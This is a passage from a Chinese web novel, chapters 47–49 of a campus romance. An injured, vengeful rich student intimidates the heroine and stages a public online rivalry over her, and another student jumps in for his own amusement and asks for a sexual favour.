“再见。” 安蔓立在原地,脸上略带困惑,看着他颀长的背影消失,不再放在心上,转头走进考场。 这次“重考”,在原著里压根没有出现——原主被扒出了更多黑料,干脆利落退了学。 虽然只有一个考生,听起来也有点儿戏,但是,居然单独设立了考场,考场设置监控,还专门检测她是否携带作弊器。整 套流程不短,试卷难度也不低。全部做下来让人筋疲力尽,来不及想莫名其妙的英鸿祯,还有崔英朗和双生子兄弟. 彻底结束“重考”后,时间已经是中午,外面阳光烈烈,冬天已经基本过去,气温渐渐回暖,也不再有随处可见的积雪。 附近被清了场,不许有人靠近,安蔓走出门外时,外面都一片清静——这让她看见崔英朗时都有些没反应过来。 他皮肤白得像鬼,眼睛却发黄,头发黑黢黢的,在阴影里同影子黑成一片,伤口那侧头发被剃掉了一些,有点参差不平,缝针伤被藏在纱布里,在头上长长的一条,隐约可见狰狞的痕迹。 崔英朗眼神阴鸷,靠在一边,双手抱胸不知道等了多久,听到动静,侧头看过来,金灿灿的颜色在他的瞳孔里涌动,轻轻一笑。 “好久不见。” “这一周……玩的开心吗?” 他笑得也像鬼,浑身有股阴郁吓人的气质,笑的安蔓头皮发麻,忍不住退后了一步。 “崔、崔……” 崔英朗的笑声戛然而止,他面无表情,盯着安蔓,突然抬腿,一步步走了过来,牢牢按住在她的肩膀上,猛地低下脸,阴森森道,“跑什么呀,你不是说你喜欢我的脸吗,你看啊!” 第47章 第47章混乱 47. 安蔓以前,确实挺喜欢崔英朗的脸。 他五官俊美,轮廓分明,金色眼睛,在灯光下流光溢彩,看起来昂贵漂亮,非常华丽。虽然人品不怎么样,但脸确实好看。 “要仔细看啊。”崔英朗手指按着她的肩膀,微微弯腰,将脸凑近她,脸上没有任何笑意,手指冰凉。 “崔少爷,你冷静点,别这样。”安蔓的脖颈被他的手指碰到,下意识抖了一下。 她的视线不由自主落下,崔英朗整齐的黑发在纱布塌下一片,白纱从他的侧脸一直包裹住小半个后脑勺,小半张脸也为纱布盖住,破坏了那张轮廓分明的脸,隐约可见纱布下如毛毛虫一样扭曲的褐色粗疤。 身上气质也变得更加沉郁,那双深金色的眼睛颜色变暗,里面情绪涌动,可怖非常,“躲什么,你不是看着我变成这样的吗?” 安蔓想要后退,但后面便是墙,完全没办法后退。 而肩膀上崔英朗的手指,将她抓得牢牢的,他还将脸凑近了,语调困惑,“不对,你不是说喜欢我的脸吗,难道,你其实不喜欢吗?” 崔英朗盯着安蔓往后退缩的身体,手指沾上了她的体温,她看起来很瘦,身体单薄,胸口里的心跳声却很快。 很少有人敢骗他,除非自己找死。 而这个人,是骗他骗得最狠的一个!她间接害他差点毁容,后脑勺被开瓢,送去抢救,还想逃跑,这样也就算了,他原本不打算计较这些的,谁知道…… 崔英朗冷笑一下,逼她看自己的脸,语调困惑,“为什么不喜欢了,是因为我毁容了?” 安蔓有点被吓到了,眼睛乱眨,试图寻找救星,但周围空无一人,只能轻轻咬住自己的嘴唇,柔弱无助道,“崔少爷,你没有毁容,只是头上有一点小小的伤口,很快就痊愈了。” 崔英朗低下头,眼睛死死瞪着她,嗤笑,“撒谎。” 在监控里,她面对被江赫的时候是这样,单独对他时也是这样,他还是处男,被这副楚楚可怜的无辜表情,哄春心萌动,骗的晕头转向,差点和她上床。 可惜,全是骗人的!她甚至不愿意多用心点,崔英朗第二次从手术室里出来后,眼睛因为瘀血失明了几天,不得不在病床上独自躺了很久,她却既没有信息,也没有探望,更别提解释了。反而请假了一周,不知道在哪里潇洒。 崔英朗越想越憋不住这口气,特地把人找来了,心中一股郁气,冲得他的表情越发扭曲,“我想起来了,你确实不喜欢,你说看到我就窒息、难受,身上长疹子,是吧!” 安蔓抖了一下,脸色虚弱,在心里痛骂几句。 好好一男的,怎么心胸这么狭隘! 她手指按着大衣的口袋,在里面摸到了手机,她之前预料过这种情况,已经提前编辑了消息,悄悄和韶景荻发了求救信息。 安蔓刚把短信发出去,就听见眼前的人又起来,声音低而短促,“算了。” 他突然松了手,笑起来,却看起来更吓人了,惊得安蔓手指一抖,赶紧松开手机。 “你想知道许市现在怎么样了吗?”崔英朗问。 安蔓好久没有听到这个名字了,愣了一下才反应过来,摇了摇头,“不知道。” 崔英朗双手抱胸,伸手一下、一下地拍平她肩膀上的褶皱,拍得她轻轻发抖,“想知道他的下场吗?跟我来。” 安蔓咬牙,她一点也不想知道! 但是崔英朗的状态很不稳,她害怕一拒绝,对方就要发疯,只能磨磨蹭蹭跟上去。 崔英朗一路走下楼,到了楼底边的小车前,安蔓脚步更慢了,停在车边,黑白分明的眼睛看着他,一动不动,“去哪。” “去看许市。”崔英朗慢慢扯开嘴角,“自己上去,还是我拉你上去?” 安蔓看了他一眼,避开他的手,磨磨蹭蹭地上了车,选了离他最远的后车座。一上车,赶紧打开手机,韶景荻还没有回复,倒是刚刚一个手抖,不知道怎么的,把短信也发给江赫了一份。 她这才想起,只拉黑了江赫的TEL,还没有拉黑对方的号码,眼见撤不回来了,干脆把手机一关,放在口袋里。 一路上崔英朗都不说话,直接把车开到了首都的执法局。 和前台人员打了个招呼后,便示意安蔓和工作人员走,语气玩味,“去吧,许市很想你呢。” 工作人员对安蔓礼貌地笑了一下,“小姐,请跟我来。”. 安蔓抿唇,跟工作人员走了,执法局环境森严,各个地方都有穿着制服的官方人员,把守在各处。一路来,她的表情越来越淡。 “到了。”工作人员在会见室门口停下,为她打开门,“你们有5分钟的谈话时间。” 安蔓走进会见室,厚厚的隔音玻璃后,露出许市青青紫紫的脸。 他的脸颊高高肿起,这个依稀看出几分从前的样子,一见到她,眼中有几分惊喜,声音就哽咽起来,“安蔓……安蔓,好久不见,对不起,我说了想跟你见面,没想到他们真的把你找来了。” “嗯。” 许市坐在里面,捂住脸,低低地哭了起来,身体微微发抖,“抱歉,那天不管是对你,还是对崔少爷……我真的喝多了,失去了控制力,那真的不是我的本意。” 安蔓隔着玻璃,冷静地看着她,实事求是:“崔英朗恨我,不会听我的求情。” 许市摇了摇头,脸上露出一个难看的表情,笑得比哭还难看,嘴唇抖了几下,“对不起,这些天我想了很多,真的对不起,我应该为之前的行为跟你道歉,对不起。” 安蔓漆黑的瞳孔平静地看着他,里面没有任何情绪,点点头,有点无聊地问,“道完歉了吗?” 许市一顿,“道、完了。” 安蔓听完了他掏心掏肺的话,没什么反应,看了一眼时间,“五分钟到了,我先走了。” 许市呆滞了一下,他想过对方反应,是真心想透过她向崔英朗求情,也是真心回忆起以前做的事,思来想去,想向他道歉。 他猜测过她的无数反应,生气、怒骂、鄙夷,但从来没有想过居然是这种冷眼旁观,极端的冷漠。 安蔓见他没有想说的了,转身出去了。 门外工作人员,见她那么快还有点惊讶,“请跟我来,我带你回去。” “嗯,走吧。”安蔓说。 两人走回刚刚的位置,崔英朗还坐在一边的沙发上,玩着手机,听到动静抬起眼,站起来,“看完了,回学校吧。” 安蔓面无表情,跟着崔英朗向外走去,伸出手,按了按自己的眼角泪痣的部分,她对许市没感觉,但是对崔英朗有点生气。 对方完全是在故意恐吓,让她看到许市下场!然后试探她的反应! 崔英朗嘴唇也没有血色,笑容却有点阴郁和玩味:“怎么样,你想帮他求他饶吗?试试看,说不定我会听呢。” 安蔓抿了抿嘴唇,反问:“真的吗?” 崔英朗脸色白得像纸,睫毛一扬,透过后视镜向她望了一眼,手指抓紧方向盘,笑容透着几分阴森:“你猜?试试吧,说不定你一求情,我心一软,答应了呢……不猜也行,正好该吃午饭了,这个时间点,你肯定饿了。” “走吧,认识一场,一起吃个饭吧。”. 德川。 安蔓跟着崔英朗下车,对方站在她旁边,光明正大出现在学校里,然后走进食堂,当着所有人的面,把她带去顶层餐厅,选定座位,甚至彬彬有礼的为她拉开了凳子。 顶层餐厅人数稀少,价格昂贵,来往的人并不多,大多穿着得体,带了伴一起,现在里面安静得吓人,所有人忽然停下,共同看着这对奇异的组合。 侍应生硬着头皮走过来,低头递上菜单,“你好,请问您想要点什么?” 崔英朗接过菜单看了一会儿,从下车开始,他突然就变得绅士起来,此刻也一样,伸手将菜单推到安蔓桌前,“你点。” “你太客气了。”安蔓惴惴不安地拿了菜单,随便点了几道,完全摸不着头脑。 崔英朗恨她,这是肯定的,有负一百的好感度做证。 但他现在却不生气,还在笑着,把菜单交还给侍应生,模样比不笑还可怕:“吃吧,以前还没请你吃过饭。” 安蔓硬着头皮,试探道,“我还想吃蛋糕。” 崔英朗招了招手,嗤笑:“事情真多。” 刚刚离开的侍应生又被喊回来,手指抖了抖,他们服务人员有部分是学生兼职,非常了解这位大少爷嚣张暴怒的品行,此刻见到两个传闻中的人物出现在这里,非常担心出事。 崔英朗这位大少爷毫不遮掩,一脸自若,带着脸上受伤痕迹,吩咐道:“给她把所有蛋糕种类都上一遍。” 安蔓摇了摇头,表情有点为难,“我只想吃草莓蛋糕。” 崔英朗瞥了侍应生一眼,“没听到吗?给她多上一点。你还有什么想吃的?” 安蔓的表情有点古怪,“没了。崔少爷,怎么对我这么好。” 崔英朗眼睛直勾勾地盯着她,“因为我在想,怎么报复你们这对狗男女。” 侍应生接了菜单手抖了抖,听到这话,赶紧收回目光,不敢把视线放在两人身边。直到拿着菜单快步走远了,悄悄回头,才咋舌,这就是什么报复方式,把人带来餐厅吃草莓蛋糕? 蛋糕上得很快,各式各样,琳琅满目,包装精致的糕点一样一样的堆在桌上,占满了半张桌子,剩下半张桌子上摆着的,则是至于到精致昂贵的午餐。 安蔓如芒在背,艰难吃完了这顿午餐,然后拿了一块草莓蛋糕,咬了一口,嚼了嚼,咽下去。 崔英朗全程没有说话,坐在面前,从头到尾,一直面无表情盯着她。“这段时间我一直在反思自己,为了你这种人,搞成这样,浑浑噩噩,浑身是伤,到底值不值得。” 安蔓小口小口吃着蛋糕,嘴唇沾了白色的奶油,眼睛亮晶晶的,表情无辜又可怜,“真的很对不起。” 崔英朗自顾自地接话,“答案是不值得。””毕竟你这种骗子,全身上下,除了脸也没什么让人欣赏的地方,完全不值得人动容留恋。但想到之前的事,我还是很生气,讲了很久,还是要给你们一个教训。” 安蔓嘴唇微张,擦去唇边奶油,吃相十分斯文。 她乖巧动人,深情款款,试图垂死挣扎一下,“不管什么教训,我都愿意答应,只要是能让你释怀。但对于那件事……我其实可以解释的。” 崔英朗拉了拉嘴角,金灿灿的眼睛盯着她,抽了一张,温柔地擦拭她的嘴角,仍是那副很有礼貌、十分绅士的姿态,绅士得让人有些毛骨悚然,“不用解释,已经不重要了。” 安蔓被他看得非常不安,心里有种不好的预感。 手机不知道什么时候开始,持续不断地剧烈震动起来,仿佛某种隐晦的催促,她丢下蛋糕,也顾不得他的反应,在崔英朗的视线里,打开了手机。 栗纯发来了无数条消息,TEL有无数人在@她,后台的私信已经挤爆了99+,提示音不断炸响,千奇百怪的消息从手机的每一个软件每个角落冒出来,里面说的是同一个内容。 [你和崔少爷是怎么回事?] [校花和江少爷到底怎么了,你们三个是三角恋吗?] [你好,校花,可以帮我引荐江少爷?有偿的,我有个投资想找他,如果你介绍我们认识,我给你提成。] 最显眼的,还是栗纯的私信,她甩过来崔英朗的TEL动态,发了一个巨大无比的[?]。 安蔓点进去看,崔英朗的社交账号里,基本分享各式各样的日常,锻炼、用餐、参加活动等,虽然这人现实让人十分胆颤,但因为脸长得好,网络上粉丝出奇的多。 他刚刚发出最新一条消息,【我要和你公平竞争,如果我赢了,你和安蔓分手,让她做我女朋友。@江赫】 消息是三分钟前发的,评论已经爆炸,里面是一连串的问号,除了询问安蔓是谁,还有人疯狂地吵架、散播谣言、有人在混乱中试图清出一条线。 【少爷,少爷,抢别人的女朋友是不是不太好?】 【这是在干吗,看不懂,你们能不能说一点我知道的消息,看得我好茫然。】 【男小三也能这么嚣张!不愧是崔少爷。】 【这是下战书了吧!】 安蔓眼前一黑,手指几乎抓不住手机,心里一阵尖锐爆鸣。 ……这是在干吗!这到底是在干什么,崔英朗脑子真的没问题吗!到底在想什么啊。这个疯子! 安蔓语无伦次,“为什么要这样!这样真的很奇怪,不是说你不喜欢我了吗,为什么要这样。” 疯子阴森森看着她,“不开心?没关系。看到你们不开心,我就开心了。” 安蔓想起他刚刚的种种行为,突然想通了,这个神经病,突然的温柔,就是想在所有人面前,众目睽睽之下,表示出对她的“爱意”,然后发这个疯。 安蔓伸手捂住额头:“我不理解,这样对你有什么好处?” “好处?”崔英朗气质阴郁地反问,“我是病人,病人想养好伤,就需要心情愉悦,高兴起来,这么做我就能高兴了,这还不算好处吗?”. 上午有点忙,韶景荻闲下来的时候,已经是中午,他计算了一下时间,如果安蔓结束后,按照正常速度,向风纪会走来,也差不多在这个时间到达。 但是他问了一遍,没有新访客到达,只能摇了摇头,遗憾地走下楼梯,准备自己去找她。 作为一条合格的小狗,应该要有自己的职业素养,积极追寻主人的脚步。 但是,当他走出办公室的时候,被几个相熟的下属叫住。几人挤眉弄眼,拿着手机推在他面前,“会长,我们知道你最近和校花走得很近,你看看这个消息,别被骗了。” 韶景荻挑了挑眉毛,接过手机,看到了崔英朗的动态,眼睛扫过内容,还没有看完,已经大笑出声,“借我一下。” 然后转头跑回办公室,将手机递给办公桌后的韶景戈,“快看!阿戈,你快看!” 韶景戈拿过手机,垂眼看着屏幕,表情稍稍停 顿了一下。 “哈哈!”韶景荻笑得前仰后合,“有意思,太有意思了!哈哈,我好想知道阿赫的反应,他那张死人脸现在肯定五颜六色的——不对他们已经分手了,哈哈!崔英朗不知道?” 韶景戈点下屏幕:“你打开手机手机,看看有没有人给你发消息。” 韶景荻也想起来了,打开手机,点进页面。果然,看到安蔓一个多小时前,发来的求助信息。 【救命!崔少爷突然出现,不知道要带我去干什么,我好害怕,快救救我。】 “糟糕,刚才没用手机没看到,我们的公主殿下给我发了求助信。” 韶景荻手指滑动了一下,点了点信息,表情有点苦恼。都一个小时了,这时候才看到,事情恐怕也结束了。他犹豫一下,走出办公室,找到一个内部的消息源,随手翻了翻信息。 【c少爷和校花共进午,餐两人甜蜜相处,点了很多奶油蛋糕,校花很爱吃草莓味的蛋糕,c少爷也很宠,全程看着她吃,还给她擦嘴。】 【每一个字眼都超级可怕,c和宠是能够联系在一起的吗?而且大家都忘了,c少爷是怎么受伤的了,事情怎么就发展到现在这个程度的!】 【只有我好奇J和校花吗,两个人是怎么成为男女朋友的?八竿子打不到一起的俩人,太突然了。c又是怎么突然冲冠一怒抢人女朋友的啊。】 韶景荻越看越有意思,他真的越来越喜欢安蔓,她太有意思了,非常好玩,在她的身边每天都有新乐子,看不完的趣事,让人难以自拔。 估计安蔓现在没什么危险后,他首先给江赫发了条消息,询问他现在的心情,对方没回,他又发了好几条视频过去,还不回,他持之以恒地打了七八个电话。 江赫终于回了,“滚。” 韶景荻笑得前仰后合,乐不可支,又发了一条消息过去,“你们现在还是不是男女朋友啊,万一不是的话,阿朗多尴尬呀。” 江赫:“这是我和他的事,与你无关。” 韶景荻哼了一下,在办公室里站起来,透过落地窗向下看,和韶景戈打了个招呼,便慢悠悠往下走,反驳道,“怎么没关系呢?马上就要和我有关系了。” 挂了电话,他又给安蔓打了一个,这次接通得很快,安蔓的声音从手机里传出,微微压低了,像是在顾虑什么,“韶会长。” 韶景荻开口:“你在哪里?” “餐厅。”安蔓坐在餐厅里,事情一出,周围也热闹起来,没人不想看这种处于金字塔顶尖的大少爷的绯闻。 甚至,有个认识崔英朗的学生主动走来,脸上挤出了一个亲切娴熟的笑容,让侍应生包了一块蛋糕,站在桌前,友好搭话,“崔社长,你太棒了,祝你旗开得胜,祝你们百年好合。” 崔英朗靠在椅子上,头也不抬,“把他扔出去。” 周围就有几个识趣的人,连同侍应生立刻手忙脚乱起来,一边道歉,一边把这个愣头青左右抓住往来撕扯,生怕被迁怒了,“不好意思,他是今年新进k社的一个一级生,今天我们才发现他是个傻x,回去就把他踢了。” 安蔓看着乱象痛苦地皱起眉毛,按着额头,“情况有点……不方便说。” 韶景荻:“我记得你不是和江赫分手了吗?那怎么办,阿朗不知道,万一收不了场了。” 安蔓担心的就是这点,崔英朗现在已经这么颠了,如果知道她和江赫“分手”了,没了限制,不知道又会发什么疯。 她压低了声音,软绵绵地开口,“真苦恼,不知道有没有什么从天而降的好心人,能帮我解决这个问题。” “是啊,要是有个好心人就好了。”韶景荻笑。 安蔓慢悠悠叹气,苦恼:“好难受,该怎么去找这个好心人呢。” 韶景荻也苦恼,“你要是告诉我他姓什么,我可以帮你找自己去哦。” “远在天边,近在眼前。” 安蔓把声音压的更低,朝崔英朗看了一眼,见他没有注意这里,顾不得调情了,赶紧将接下来的话一次性说完,“不知道自某个姓韶的好心人,能不能帮一帮我呢?” “唉,还是得靠我。”韶景荻说,“没关系,我会帮你的,你把电话给阿朗。” 安蔓握着手机,轻咬嘴唇,表情有点为难,开口,“崔少爷,韶会长,让我把手机给你。” 崔英朗面无表情地看了她一会,接过手机,放在耳边,里面传来了韶景荻活泼的声音,“阿朗,现在我要跟你坦白一件事,我也喜欢安蔓小姐,我是她的小狗~” “……什么。”崔英朗说。 韶景荻笑眯眯说,“意思是你要竞争的对象,不只是江赫啦。” 崔英朗的表情有几分空白。良久,他突然伸出手按住额头,嘴角嘲讽地弯了一下,“真、有、意、思。” 韶景荻:“抱歉啦兄弟。” 安蔓心惊肉跳拿回了手机,电话已经挂断了,不知道韶景荻是怎么说的,崔英朗脸彻底黑了,此刻的表情出奇的恐怖,盯着她的表情格外难看。 “哈和。”他低低地笑了起来。 安蔓被他笑得头皮发麻,赶紧握着手机,想问韶景荻到底发了什么。 谁知道,这时栗纯又甩过来一个链接,同时发来了一串强烈的感叹号:[到底什么情况!!!] 安蔓点开链接,发现韶景荻转发了崔英朗的动态,时间就在刚刚。 【韶景荻:我也喜欢安蔓小姐,对决加我一个:)】 他的评论区沉寂一会儿。 几分钟之后,评论爆炸了. 手机又震动一下,韶景荻发来了一个微笑,【我又帮上忙啦,加起来,两次了,你要怎么报答我呢?】 安蔓喉咙里发出一声窒息般的轻喘,她头很晕,眼前发黑,额角阵阵抽动,眩晕感从大脑蔓延全身,手机在手指间滑动一下,差点掉下地面,最后堪堪被指尖抓住。 一阵的绝望感涌上心头,她不敢看崔英朗此刻堪称扭曲的表情,指尖跳动,用尽全身力气,发过去一条最后信息,【你想要什么?】 【很简单,第一次帮忙,我要你像对江赫他们那样对我。第二次,我要超过他们的待遇。】 【事情结束后,和我睡吧,主人[心]。】 第48章 第48章找人 48. “完成了~” 韶景荻发完了消息,对着天空伸了个懒腰,随后拿着手机,脚步轻快地迈步走回办公室。 韶景戈正坐在沙发边泡茶,他笑容灿烂地走过去,挤在兄长旁边坐下,盯着屏幕,等待回复。 韶景戈被他挤了一下,没有动弹,只抬了抬眼。他也知道弟弟做了什么,脸上带着一贯的温和,视线划过他的手机屏幕,提醒道,“……别太过火。” “没问题的,我知道尺度。”韶景荻笑嘻嘻道,“反正留不了几分钟。” 韶家工作人员会即时关注网络,对于他们这些有些过度的发言,反应很快,没过几分钟就会将它们全部屏蔽了。除非他们硬要留下。 不过屏蔽也没用,现在各种截图、讨论已经铺天盖地病毒式传播,该知道的人都知道了,德川校内,随处有人讨论。 韶景荻也没打算硬留下,他笑嘻嘻地靠在沙发上,从哥哥手里端走一杯茶:“我知道。” 他自觉做了一顿好事。安蔓已经和江赫分手了?没关系,不是还有他吗!想将一件事盖过去,最好的方法是用另一件更爆炸的是,吸引所有人的注意。 就像此刻,已经没有人在意安蔓和江赫的“交往”,全部转而谈论起三人之间的复杂关系了。崔英朗肯定也不会再注意两人的是否还在交往。 这个方法又快又好,简直是恰到好。 他津津有味地等待对面的回复,想象着安蔓可能有的表情,可能会答应,也可能会拒绝,或者是其他或激烈或反感的回复。 但是信息发过去后,安蔓那边沉默了很久。 几分钟后,她回复了一个,浓缩着无数意味的符号。 [?]. “韶景荻怎么也出场了,这里面有他什么事啊?不会又是闲得慌,中途横插一脚觉得好玩吧?” “再怎么觉得好玩也不会开这种玩笑吧,那个神经病,不是从来没玩过这种把戏吗,比起单纯的感兴趣,我更倾向于他们里面确实是有点什么。” “没见人家哥哥都没开口 吗,这不就是默认的意思。说起来小恶魔他哥这次怎么了,居然一句话也没有说,就这样放任他在社交媒体上乱说话?” “比起这个,我更好奇这几个人的纠葛,校花怎么回事!这个称呼谁叫的,我看改名魅魔算了。” 用餐时间一过,安蔓和崔英朗离开餐厅,两个人肩并着肩,步伐缓慢,在路人惊诧震撼的目光里,一路走到了花园里。 正值初春,百花凋零,只有大只大只的玫瑰海棠,仍然自顾自的迎风盛开,艳丽妖娆的重瓣绽开,深浅不一的色泽在花瓣上流动着,流丽华美。 安蔓被崔英朗强制带下来,停在这个情侣约会圣地,还误打误撞听到了许多议论,从“四人复杂关系”,“为了校花,贵公子反目成仇”论,最后到“喂,一直没说话的那个韶大公子是不是和校花也有点……”。 眼见崔英朗的脸色越来越黑,她赶紧转移话题,“崔少爷,我们来这里干什么?” 崔英朗的面色十分阴沉,韶景荻的话宛若利剑,插进他的大脑一阵搅动,让他头痛欲裂。 他冷眼注视安蔓,她茫然地注视她,表情无辜的要命,衣服十分漂亮,精心打扮,实际上悄悄打量四周,脚尖向外,随时想跑! 他已经打定主意,不为她的任何事情动容,但是听到那种消息还是忍不住为她的无耻,惊掉了底线,咬牙道,“你和韶景荻也……” 安蔓不可能承认这种事,“没有!怎么可能!” 崔英朗脸上的表情一点点消失,视线扫过她身上大衣,和贴身的雪白长裙,衣服质感颇佳,透着一股昂贵的气质,“他为你出头。” 安蔓把头摇成拨浪鼓,“可能就是他单纯的人好,喜欢出头吧。” 崔英朗伸手按住太阳穴,眼前阵阵发黑,视野变得模糊,在他情绪激动的时候,就会出现这种糟糕的后遗症,“你还真当他是什么慈善家了!你以为我不了解他,想要韶景荻那个混子出头,不出点血根本不行!你付出了什么?” 安蔓深吸了一口气,这话题是不能聊了,她见崔英朗表情微妙,看起来不太舒服,赶紧故作殷勤,将他拉到一旁坐下,“崔少爷,你明明不舒服,就不要在外面到处乱转了。” 崔英朗根本不吃她那套,手指用力掐住她纤细的手腕,语气阴沉沉,忍耐住掐死她的欲望,“你不用讨好我,也别想跑!我会放你走的,只不过,要先等江赫回应。” 安蔓被他掐的不舒服,没办法逃跑,只好问,“为、为什么?” “还有一个主人公不到场,不回应,怎么行呢?”崔英朗脸上的厌恶有如实质,几乎带了狠意。 崔英朗找那个人睚眦必报,受挫了,必定要还回去,现在他身上的仇恨,全部集中在这两人身上。 这场大戏——缺一个主人公,就演不起来了。 安蔓也不确定江赫是否会回复,见崔英朗不管她,赶紧又悄悄摸出手机,查看后续评论。 果不其然,在韶景荻发言之后,针对她的各种留言呈现爆炸式的增长,主要的问题集中在,对她具体身份的困惑、对八卦的询问、以及试图重金购买她的撩汉手册几个方面。 “……”安蔓想到韶景荻的行为就一阵窜火。 ……帮忙。 这也算帮忙吗! 韶景荻的帮忙方式,就是将水搅浑,把情况变乱,把影响力扩大,把一切全部都变得乱七八糟然后喜滋滋讨赏! 现在是事态进一步扩大,安蔓彻底全校闻名,甚至不一定是学校——TEL是首都流行的社交软件,所有人是社交动态都局限在个人社交圈里,但这几人,人均身份特殊,甚至还有江赫这种经常上新闻露脸的人员,很容易掀起的更大的舆论。 “删的真快。”崔英朗对着手机忽然低低开口,表情被挡在阴影里,声音情绪不定。 安蔓愣了一下,“什么?” 接着很快反应过来,打开手机再去查看崔英朗和韶景荻的动态,果然在查看时,忽然显示链接不存在,动态已不可见。 “算了。” 崔英朗的声音意味不明,忽然站起来,对她说,“不等了,跟我走。” 安蔓被他捏着手腕拉起来,眼睑微颤:“去哪里?” “大戏还没有开场,当然是去找另外一个主角了。” 崔英朗似笑非笑地扯了扯嘴角,煞白的脸上,笑容却鬼气森森,“不等了,我们去找江赫。” 第49章 第49章血 49. 下午三点,下课铃打响。 教授关掉多媒体设备,抱着书匆匆走出门口。教室安静一片,死寂无比,没有任何人说话,也没有拉开椅子走出教室。甚至没人敢悄悄多看一眼。 江赫将书合上,盖上笔盖,整理好笔记,把东西装好,站了起来。椅子和地面摩擦发出细微的声音,他平静扫视一圈,将椅子推回去,走出教室。 胡智方在教室外向里看,直到江赫走出教室,对面才传来放松和小声议论,声音都压得很低。他热情开口,“江级长,你终于来了。” 江赫抱着书,表情漠然,只一眼,就让人不自觉感觉到压力,“有什么事吗?” 胡智方笑了一下:“江少爷,你知道的,我是三年级的级长,在学生会里也有职务,所以被派过来代表其他人,和你商量一下狂欢日的安排。” 狂欢日是德川大传统,每年由学生会选定一天,作为学校的狂欢日。所有人戴面具、穿斗篷,隐入人潮,掩盖身份,肆意狂欢。 一般在夜行日前,学生会会提前安排好秩序,避免活动失控。 江赫向教室外走去,没什么兴趣:“和去年一样。” 胡智方有点紧张,脚步加快,跟在他身后,声音提高,“可是今年情况不一样,今年多了一点刺头。” “刺头。”江赫重复。 胡智方闻言讪笑,“据我所知,一些k社成员,还有一些少爷们,今年可是非常的蠢蠢欲动。如果不提前安排,不知道他们会做出什么。” “有话直说。” “这个……”胡智方有点尴尬。 说起刺头,其实这几位少爷就是最大的刺头,一般不出手,但凡做了什么就是惊天动地,所有人围着他们转动。他踌躇了几下,还是拿出手机,“江少爷,您和崔少爷那件事,影响有点大,虽然原动态已经被屏蔽了,但现在到处都在讨论。我们要不要出一个公告,解释一下。” 江赫接过手机,屏幕上显示着崔英朗动态的截图。大概胡智方拿来的比较急,没仔细看,他看了一眼,指尖一动,就跳到到一张视觉模糊的偷拍。 照片里,崔英朗握着女生手腕,头也不回的向前走,安蔓跌跌撞撞,跟在身后,两个人背影交叠,看起来状态十分亲密。 他手指猛然攥紧,微微低头,长长的睫毛微垂,掩盖着他眼中的神色,把手机扔回去,“随便。” 胡智方没摸懂他的意思,紧紧跟在身后,“那我们等会以学生会的名义解释一下,说一切只是玩笑?” 江赫敛起眼睫,表情略带厌烦,他想起安蔓那天的质问、怒吼,心头情绪翻涌。 他最近都 没做梦,也有可能是做了梦,在醒来之前就被全部遗忘,之前那些涌动、无聊、失控的情绪,经过时间的流逝中将会平息,无论之前他对安蔓是什么心情,现在都无关紧要了。 “随便,我和她没有关系。” 胡智方赶紧点了点头,将这点记下。 他捕捉到他的态度,想赶紧切换下一个问题,拿着手机一看,却发现屏幕上的照片,霎时有点心虚,“我不是,我对这位小姐不是,我是研究了一下……” 江赫声音更冷了,“和我无关。” 崔英朗和安蔓站在不远处的教学楼二楼,向下俯瞰,一左一右的看着江赫和人交谈,他伸手揽住安蔓肩膀,“他好过分啊,是不是有空和别人聊天,却没空回我们消息?” 安蔓被他一揽,鸡皮疙瘩都起来了,“崔少爷,如果你心情不好,可以去找一下心理咨询师。” 她真的觉得崔英朗的精神状态很有问题! 他本来就肆意妄为,像只野兽,不过从前更为所欲为,肆无忌惮。 现在则更像被人暴打了一通,见人就咬的发疯野狗。 崔英朗惨白的脸凑近她了,金眼睛悬在她的眼前,一动不动,“你想说什么。” 安蔓被他吓了一跳,想骂他有病,但是对上他那双吓人的眼睛,还是把话憋了下来,“不是,我只是想说,我感觉你心情不好。” 崔英朗听着她蹩脚的辩解,扯了扯嘴角。 他已经再也不可能相信这个女人了,她勾搭的人不知道有多少,还招惹了韶景荻。按理来说,江赫和他一样的背叛了,他应该感到高兴,但知道这个消息至今,心口一阵阵憋屈。 “还有呢?” 安蔓漂亮的大眼睛眨了眨,表情有几分紧张,轻轻咬了咬嘴唇,“其实,我早就想告诉你了。” “什么?” 安蔓满脸为难,鼓起勇气,小声坦白了,“其实,我江赫早就分手了!” 崔英朗头倏忽一转,眼睛死死的凝视她,“分手?” 安蔓手指紧张到缠在一起,心里祈祷这件事能平息对方的发疯,一口气把前因后果编完了,“是、是的,就是那天你们打架之后的事,我觉得对你很抱歉,受不了再昧着自己的良心跟他在一起,所以分手了!” 崔英朗深色的眼睛死死的瞪着她,在她的脸颊上上下扫荡,像是在确认真假,“真的?” 安蔓赶紧点头,“真的!不然他也不会一直不联系我。” 崔英朗忽然伸手捂住脸,低低的笑声从他的指缝里泄了出来,笑声极为夸张,听起来却没有任何笑意,“哈哈哈哈哈!真有意思,哈哈!” 安蔓被他笑的毛骨悚然。 太吓人了,什么神经病啊!崔英朗受伤后的状态真的太吓人,让她情不自禁地想要退后一步。 可是身子刚刚一动,脚步还没来得及迈出,对方忽然又投来目光,幽幽凝视,她顿时定在原地不敢再动了。 崔英朗脸上的表情倏忽一收,笑容荡然无存,低头对视她的眼睛,嗤笑逼问,“你提的还是他提的?” 安蔓看出他的怀疑,绞尽脑汁编:“我提的。” 崔英朗:“他挽留了吗?” “没有。” “分手时他难过吗?” 安蔓摇了摇头,迟疑,“我不确定……但我总觉得他心不在我身上,他对我太冷淡了,我甚至不知道他为什么和我在一起。” 崔英朗又笑了起来,金色的眼睛里一片灿烂,“哎呀,真是,他怎么这样呢,现在他是既辜负了我又辜负了你。怎么就答应分手了呢,一下子同时对不起我们两个人。” 安蔓和他同仇敌忾,“没错。” 崔英朗笑了半天表情又冷下来,他侧脸也被纱布包裹了,白纱遮住了小半张面容,让他的笑容都变得扭曲起来,“说的很好,可惜,我已经不再相信你。小老鼠,想想我们认识到现在,你说过多少谎了,现在又想骗我?” 安蔓脸色发白,和他双目对视,眼中倒映着晨光,熠熠发亮,带着一点坚定和真诚:“没有,这次,我真的没骗你。” “可以啊,那你证明给我看,你讨厌这个负心汉,我们一起小小的报复他怎么样?” 崔英朗轻飘飘地抛出一句话,俯下身体,直视她的眼睛,一字一句开口,“我们一起恶作剧一下,如果你让他成功生气,证明我们是站在一边的,我现在就放过你,然后再也不针对你。” 安蔓眼睛又眨了一下,她的气质偏向清冷,没有表情的时候,显得有几分冷淡。现在一带上赞同,脸庞的线条立刻变得活泛。 她出谋划策,“可以啊,他洁癖!很容易生气的。” 原著里,江赫从小就有非常严重的洁癖。 